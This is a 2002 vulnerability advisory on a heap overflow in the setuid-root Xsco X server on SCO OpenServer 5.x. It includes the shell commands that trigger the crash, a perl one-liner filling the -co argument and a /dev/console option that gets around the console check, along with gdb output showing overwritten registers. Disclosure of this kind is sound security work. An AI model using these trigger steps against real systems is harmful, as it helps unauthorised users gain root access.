Strategic Reconnaissance Team Security Advisory (SRT2002-06-11-1037)
Topic : SCO OpenServer Xsco heap overflow Date : June 11, 2002 Credit : KF dotslash[at]snosoft.com Site : http://www.snosoft.com
The SCO OpenServer Xsco application is installed setuid root by default. Xsco contains the same heap overflow that Xsun has.
bash-2.03$ cd /opt/K/SCO/XServer/5.2.2a/usr/bin/X11 bash-2.03$ ls -al Xsco -rwsr-xr-x 1 root bin 1333588 Dec 9 1999 Xsco
If you attempt the same syntax used to overflow Xsun it appears to be non exploitable due to not having console permission. This is easily bypassed as shown below in the Impact section.
bash-2.03$ ./Xsco :1 -co `perl -e 'print "A" x 9000'`
Tue Jun 11 10:31:56 2002 The X Server must be run on the console. Make sure you are not on a serial line and are not using rlogin or usemouse.
If properly exploited the following could be used to take root on the server with the Xsco binary.
bash-2.03$ ./Xsco :1 -co <b0f here> -crt /dev/console
Tue Jun 11 10:32:59 2002 Couldn't open RGB_DB 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ... Segmentation Fault
0x8164073 in _grantpt () (gdb) bt #0 0x8164073 in _grantpt () #1 0x8164532 in malloc () #2 0x80027103 in _s_a_get () #3 0x81594bc in _ptsname () #4 0x8087526 in wctype () #5 0x8085e95 in wctype () #6 0x80745f4 in wctype () #7 0x804d69b in wctype ()
(gdb) i r eax 0x41414141 1094795585 ecx 0x495b38d4 1230715092 edx 0x0 0 ebx 0x18 24 esp 0x8045814 0x8045814 ebp 0x8045834 0x8045834 esi 0x41414140 1094795584 edi 0x819f794 135919508 eip 0x8164073 0x8164073
SCO/Caldera OpenServer 5.x
The vendor was notified and is diligently working on a fix. A work around is currently unknown.